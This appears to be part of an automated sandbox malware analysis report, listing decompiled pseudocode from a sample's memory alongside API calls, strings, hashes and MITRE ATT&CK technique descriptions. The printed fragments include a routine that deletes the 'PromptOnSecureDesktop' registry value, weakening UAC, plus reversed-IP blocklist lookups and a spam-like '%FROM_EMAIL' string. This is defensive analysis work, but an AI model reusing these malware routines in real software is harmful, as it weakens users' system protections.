Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00408CEE, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408CEE() {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _t15;
				char _t17;
				intOrPtr _t19;
				intOrPtr* _t20;
				void* _t25;
				signed int _t31;
				signed char _t35;
				signed int _t36;
				char* _t41;
				intOrPtr* _t42;
				signed int _t45;

				_push(_t34);
				_t31 = 0;
				if( *0x413380 == 0) {
					L17:
					return _t15;
				}
				_t15 = GetTickCount() -  *0x413388;
				if(_t15 < 0xea60) {
					goto L17;
				}
				_t41 =  *0x413380;
				_t17 =  *_t41;
				_t45 =  *(_t41 + 1);
				_t42 = _t41 + 5;
				_v12 = _t17;
				if(_t17 <= 0) {
					L16:
					_t15 = GetTickCount();
					 *0x413388 = _t15;
					goto L17;
				} else {
					_v8 = _t42;
					do {
						_t35 =  *_v8;
						if(_t35 != 8) {
							if(_t35 != 9) {
								_t36 = _t35;
								_t19 =  *((intOrPtr*)(0x413300 + _t36 * 4));
								if(_t19 == 0) {
									goto L12;
								}
								_t9 = _t19 + 0x34; // 0x3b10c483
								if(_t36 ==  *_t9) {
									_t13 = _t19 + 0x50; // 0x7486850
									_t20 =  *_t13;
									if(_t20 != 0) {
										 *_t20(_t45 >>  *(_t31 * 5 + _t42) & 0x00000001);
									}
									goto L16;
								}
								goto L12;
							}
							_t25 = E0040A688(_t45 >> _t35 & 0x00000001);
							L8:
							if(_t25 != 0) {
								_t6 = _v8 + 1; // 0x3cc6
								_t45 = _t45 |  *_t6;
							}
							goto L12;
						}
						_t25 = E0040A677(_t45 >> _t35 & 0x00000001);
						goto L8;
						L12:
						_v8 = _v8 + 5;
						_t31 = _t31 + 1;
					} while (_t31 < _v12);
					goto L16;
				}
			}

0x00408cf2
0x00408cf4
0x00408cfc
0x00408dae
0x00408db0
0x00408db0
0x00408d08
0x00408d13
0x00000000
0x00000000
0x00408d1b
0x00408d21
0x00408d24
0x00408d27
0x00408d2a
0x00408d2f
0x00408da1
0x00408da1
0x00408da8
0x00000000
0x00408d31
0x00408d31
0x00408d34
0x00408d37
0x00408d3c
0x00408d50
0x00408d6c
0x00408d6f
0x00408d78
0x00000000
0x00000000
0x00408d7a
0x00408d7d
0x00408d8b
0x00408d8b
0x00408d90
0x00408d9e
0x00408da0
0x00000000
0x00408d90
0x00000000
0x00408d7d
0x00408d5a
0x00408d5f
0x00408d62
0x00408d67
0x00408d67
0x00408d67
0x00000000
0x00408d62
0x00408d46
0x00000000
0x00408d7f
0x00408d7f
0x00408d83
0x00408d84
0x00000000
0x00408d89

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

localcfg, xrefs: 00408D19
0t, xrefs: 00408D02, 00408DA1

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: 0t$localcfg
API String ID: 536389180-1645711936
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Uniqueness

Uniqueness Score: -1.00%

Function 0042E1C6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

__isleadbyte_l.LIBCMTD ref: 0042E207

Part of subcall function 00431140: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00431178

___crtLCMapStringA.LIBCMTD ref: 0042E28B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042E2A5
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042E2BF

Strings

>B, xrefs: 0042E267, 0042E26A

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$String___crt__isleadbyte_l
String ID: >B
API String ID: 3671512615-1368713712
Opcode ID: 375c1630e05cb2e82e6733a2bd4174f80c2e82819c9fadb709afbf7c3a2e5a30
Instruction ID: 95fd114d78eb78726a412b7a1c004b11b2af5b6eedee747ef9cbd9d7daec9182
Opcode Fuzzy Hash: 375c1630e05cb2e82e6733a2bd4174f80c2e82819c9fadb709afbf7c3a2e5a30
Instruction Fuzzy Hash: ED21C375E00608EFCB04DF95E841BFE7779AF14305F1480AEE4026B291DB389A81CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004096FF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004096FF(void* __ecx) {
				void* _v8;
				char* _t6;
				char* _t10;
				void* _t23;
				void* _t24;

				_t16 = __ecx;
				_push(__ecx);
				_t6 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t24 = _t23 + 0x14;
				if(RegOpenKeyExA(0x80000001, _t6, 0, 0x103,  &_v8) == 0) {
					_t10 = E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8);
					_t24 = _t24 + 0x14;
					RegDeleteValueA(_v8, _t10);
					RegCloseKey(_v8);
				}
				E0040EE2A(_t16, 0x4122f8, 0, 0x100);
				return 0;
			}

0x004096ff
0x00409702
0x00409728
0x0040972d
0x0040973e
0x0040974a
0x0040974f
0x00409756
0x0040975f
0x0040975f
0x0040976d
0x0040977b

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,PromptOnSecureDesktop,00000000,?,?,0040A14A), ref: 00409736
RegDeleteValueA.ADVAPI32(0040A14A,00000000,?,?,?,?,?,?,?,?,?,0040A14A), ref: 00409756
RegCloseKey.ADVAPI32(0040A14A,?,?,?,?,?,?,?,?,?,0040A14A), ref: 0040975F

Strings

PromptOnSecureDesktop, xrefs: 00409704, 00409722, 00409727, 00409749, 0040976C

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction ID: 5e38ed9511aa8cc069582274463af9cddeeab7037fd65aad7bdf8be664a95ff7
Opcode Fuzzy Hash: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction Fuzzy Hash: 5AF0C8B2680118BBF3106B51AC0BFDF3A2CDB44704F100075F605B50D2E6E55E9082BD

Uniqueness

Uniqueness Score: -1.00%

Function 00435F55, Relevance: 6.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00435FE6
_memset.LIBCMT ref: 004360C3
__invalid_parameter.LIBCMTD ref: 00436139

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID:
API String ID: 2178901135-0
Opcode ID: af9deea36303b7e09d2470ce56ad576511b520a94c92ee35e71f1ce23e67284b
Instruction ID: 1a54baf96dbaf021aecbabc219516e45a3f75874c313fedace0e2491c884b7e4
Opcode Fuzzy Hash: af9deea36303b7e09d2470ce56ad576511b520a94c92ee35e71f1ce23e67284b
Instruction Fuzzy Hash: 75617F70A0020AEFCF14CF58C945AAE73B1BB48328F20D21AE9296B3D5D7799951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5F, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401C5F(void* __eflags) {
				signed int _t49;
				signed int _t51;
				void* _t80;
				char _t91;
				void* _t92;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				void* _t108;

				_t105 = _t107 - 0x70;
				_t108 = _t107 - 0x114;
				 *(_t105 + 0x6c) =  *(_t105 + 0x6c) & 0x00000000;
				_t98 =  *(_t105 + 0x7c);
				 *(_t105 + 0x7c) =  *(_t105 + 0x7c) & 0x00000000;
				_t101 = E0040ED03(_t98, 0x2c);
				if(_t101 == 0) {
					L6:
					_t49 = _t98;
					_t32 = _t49 + 1; // 0x2
					_t102 = _t32;
					do {
						_t91 =  *_t49;
						_t49 = _t49 + 1;
					} while (_t91 != 0);
					 *((char*)(_t105 + _t49 - _t102 - 0x24)) = _t91;
					_t51 = _t98;
					_t35 = _t51 + 1; // 0x2
					_t103 = _t35;
					do {
						_t92 =  *_t51;
						_t51 = _t51 + 1;
					} while (_t92 != 0);
					E0040EE5C(_t105 - 0x24, _t98, _t51 - _t103);
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x7b) & 0x000000ff,  *(_t105 + 0x7a) & 0x000000ff,  *(_t105 + 0x79) & 0x000000ff,  *(_t105 + 0x78) & 0x000000ff, _t105 - 0x24);
					if(E00402684(_t105 - 0xa4) != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					L12:
					return  *(_t105 + 0x6c);
				}
				 *(_t105 + 0x5c) =  *(_t105 + 0x78) & 0x000000ff;
				 *(_t105 + 0x60) =  *(_t105 + 0x79) & 0x000000ff;
				 *(_t105 + 0x68) =  *(_t105 + 0x7a) & 0x000000ff;
				 *(_t105 + 0x64) =  *(_t105 + 0x7b) & 0x000000ff;
				while(1) {
					 *((char*)(_t105 + _t101 - _t98 - 0x24)) = 0;
					E0040EE5C(_t105 - 0x24, _t98, _t101 - _t98);
					_t22 = _t101 + 1; // 0x1
					_t98 = _t22;
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x64),  *(_t105 + 0x68),  *(_t105 + 0x60),  *(_t105 + 0x5c), _t105 - 0x24);
					_t80 = E00402684(_t105 - 0xa4);
					_t108 = _t108 + 0x2c;
					if(_t80 != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					 *(_t105 + 0x7c) =  *(_t105 + 0x7c) + 1;
					if( *(_t105 + 0x7c) > 0x1e) {
						goto L12;
					}
					_t101 = E0040ED03(_t98, 0x2c);
					if(_t101 != 0) {
						continue;
					}
					goto L6;
				}
				goto L12;
			}

0x00401c60
0x00401c64
0x00401c6a
0x00401c71
0x00401c74
0x00401c86
0x00401c8c
0x00401d1c
0x00401d1c
0x00401d1e
0x00401d1e
0x00401d21
0x00401d21
0x00401d23
0x00401d24
0x00401d2a
0x00401d2e
0x00401d30
0x00401d30
0x00401d33
0x00401d33
0x00401d35
0x00401d36
0x00401d42
0x00401d6b
0x00401d7e
0x00401d88
0x00401d88
0x00401d8b
0x00401d95
0x00401d95
0x00401c96
0x00401c9d
0x00401ca4
0x00401cab
0x00401cae
0x00401cb3
0x00401cbd
0x00401cd2
0x00401cd2
0x00401ce1
0x00401cea
0x00401cef
0x00401cf4
0x00401cfe
0x00401cfe
0x00401d04
0x00401d0a
0x00000000
0x00000000
0x00401d14
0x00401d1a
0x00000000
0x00000000
0x00000000
0x00401d1a
0x00000000

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

localcfg, xrefs: 00401C70
%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A8B1, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041A965

Part of subcall function 004213D0: __encode_pointer.LIBCMTD ref: 004214B1

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction ID: 2cc24d952377c1f31bd422b0cd9293269daff8477b447aba906f8580bd328f5c
Opcode Fuzzy Hash: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction Fuzzy Hash: D6413A71D09744DADB11AB39EA4516EB7F0FF51744F00CB6BF88861222EB3889A9D347

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C7, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A4C7(intOrPtr _a4) {
				long _t3;
				LONG* _t8;
				long _t9;

				_t9 = GetTickCount();
				_t8 = _a4 + 0x5c;
				while(1) {
					_t3 = InterlockedExchange(_t8, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t9;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040a4dd
0x0040a4df
0x0040a4f7
0x0040a4fa
0x0040a4fe
0x00000000
0x00000000
0x0040a4e6
0x0040a4ed
0x0040a4f1
0x00000000
0x0040a4f1
0x00000000
0x0040a4ed
0x0040a504

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA, Relevance: 6.0, APIs: 4, Instructions: 23
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030FA(LONG* _a4) {
				long _t3;
				long _t5;

				_t5 = GetTickCount();
				while(1) {
					_t3 = InterlockedExchange(_a4, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t5;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040310b
0x00403122
0x00403128
0x0040312c
0x00000000
0x00000000
0x00403111
0x00403118
0x0040311c
0x00000000
0x0040311c
0x00000000
0x00403118
0x00403131

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Uniqueness

Uniqueness Score: -1.00%

Function 00428FD1, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00429084

Strings

t/j, xrefs: 00429071
jjj, xrefs: 00429020

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: _strlen
String ID: jjj$t/j
API String ID: 4218353326-194299851
Opcode ID: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction ID: 600b7a7da119ab10e6fd65a09486784f2c5f4023d51dd9b3a4dd69d628c89b51
Opcode Fuzzy Hash: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction Fuzzy Hash: 9221C274A0011CFBEB30DB89F955B6E73B0FB15304FA0816AE605562D1D37AAE50DB8E

Uniqueness

Uniqueness Score: -1.00%

Function 004038F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038F0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t29;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t50;

				if(_a8 <= 0) {
					L14:
					return _t29;
				}
				_t29 = E004030FA(0x412c00);
				_v8 = 0;
				if(_a8 <= 0) {
					L13:
					 *0x412c00 =  *0x412c00 & 0x00000000;
					goto L14;
				} else {
					do {
						_t50 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + _v8 * 4))));
						_t45 =  *((intOrPtr*)(_t50 - 0x24));
						if( *((intOrPtr*)(_t50 - 0x14)) != GetCurrentThreadId()) {
							_t10 = _t50 - 0x1c;
							 *_t10 =  *(_t50 - 0x1c) - 1;
							if( *_t10 < 0) {
								 *(_t50 - 0x1c) =  *(_t50 - 0x1c) & 0x00000000;
							}
							 *((intOrPtr*)(_t50 - 0x14)) = GetCurrentThreadId();
						}
						 *((intOrPtr*)(_t50 - 0xc)) =  *((intOrPtr*)(_t50 - 0xc)) + 1;
						if( *((intOrPtr*)(_t50 - 0xc)) >=  *((intOrPtr*)(_t50 - 8))) {
							_t43 = 2;
							 *((intOrPtr*)(_t50 - 0x20)) = _t43;
							 *((intOrPtr*)(_t45 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10)) + 1;
							_t34 =  *((intOrPtr*)(_t45 + 0x10));
							if( *((intOrPtr*)(_t45 + 0x10)) >=  *((intOrPtr*)(_t45 + 0x14))) {
								 *((intOrPtr*)(_t45 + 8)) = _t43;
								if( *0x412bfc == 0) {
									E00406509(_t34);
									 *0x412bfc = 1;
								}
							}
						}
						_v8 = _v8 + 1;
						_t29 = _v8;
					} while (_t29 < _a8);
					goto L13;
				}
			}

0x004038fa
0x00403989
0x0040398b
0x0040398b
0x00403905
0x0040390b
0x00403911
0x00403982
0x00403982
0x00000000
0x00403913
0x0040391b
0x00403924
0x00403926
0x0040392e
0x00403930
0x00403930
0x00403933
0x00403935
0x00403935
0x0040393b
0x0040393b
0x0040393e
0x00403947
0x0040394b
0x0040394c
0x0040394f
0x00403952
0x00403958
0x0040395a
0x00403964
0x00403966
0x0040396b
0x0040396b
0x00403964
0x00403958
0x00403975
0x00403978
0x0040397b
0x00000000
0x00403981

APIs

Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041BCCD, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0041BCFD

Strings

hH"@, xrefs: 0041BCF3
hl"@, xrefs: 0041BCF8

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __invalid_parameter
String ID: hH"@$hl"@
API String ID: 3730194576-4139822927
Opcode ID: 4a7b0f86d43a67d1b164e9bd17ab24421b95f91c2e2d177ed16e6841018f1ec3
Instruction ID: 55b003e4e053afd391f352ce1477e30ca6f33e3760e853b01149e04719b94d7a
Opcode Fuzzy Hash: 4a7b0f86d43a67d1b164e9bd17ab24421b95f91c2e2d177ed16e6841018f1ec3
Instruction Fuzzy Hash: B8D02E74B90204B5DA203A90BE0BB1A32109720706FB00AEBF409782C2EAFD558081EF

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EAE4(CHAR* _a4) {
				struct HINSTANCE__* _t2;

				_t2 =  *0x4136f4;
				if(_t2 != 0) {
					L3:
					return GetProcAddress(_t2, _a4);
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x4136f4 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x0040eae4
0x0040eaeb
0x0040eb02
0x0040eb0d
0x0040eaed
0x0040eaf2
0x0040eaf8
0x0040eaff
0x00000000
0x0040eb01
0x0040eb01
0x0040eb01
0x0040eaff

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,74B5F210,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

